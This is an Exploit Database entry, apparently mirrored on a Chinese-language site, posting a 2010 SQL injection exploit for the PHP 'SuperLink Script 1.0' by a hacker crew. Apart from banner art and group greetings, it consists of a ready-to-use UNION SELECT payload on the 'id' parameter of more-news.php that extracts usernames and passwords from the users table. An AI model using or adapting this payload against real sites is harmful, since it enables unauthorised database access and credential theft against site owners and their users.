superlink script 1.0 – ‘id’ SQL Injection

• Exploit Database
• 150 阅读

• 作者： Red-D3v1L
  日期： 2010-01-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/10923/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  +===================================================================================+ ./SEC-R1Z _ __ __ _ _ ___ _ _ _ _ ___ _ _ _ _ / /_ _ _ _ / _ _\/ _ _ /\\< |/_ _ _ _ / \ \_ _ _ _//___ // __||) / || / / \_ _ _ _//___ //| __ ||/||/ / _______\\_ _ \\2_0_0_9 |\|| / /____ /_ _ _ _ _\ _ _ _/\ _ _ _ /|__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!! +===================================================================================+   [?] ~ Note : sEc-r1z CrEw# r0x ! ============================================================================== [?] SuperLink Script <== 1.0 (id) SQL Injection Vulnerability ============================================================================== [?] My home:[ http://sec-r1z.com ] [?] Script: [ SuperLink Script 1.0 ] [?] Language: [ PHP ] [?] Vendor[http://superlink.ps ] [?] Founder:[ ./Red-D3v1L ] [?] Gr44tz to:[ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ] [?] Fuck To : [ Zombie_KsA << big big big L4m3r ] ########################################################################   ===[ Exploit SQL ]===   [»]SQL : http://server/[Path]/more-news.php?id=[inj3ct C0dE] [»]dem0:   http://server/IT/more-news.php?id=-16/**/union/**/select/**/1,concat%28user,0x3e,pass%29,3,4,5,6,7,8+from+users   ==============================================================================   #sEc-r1z.com Str1kEz y0u !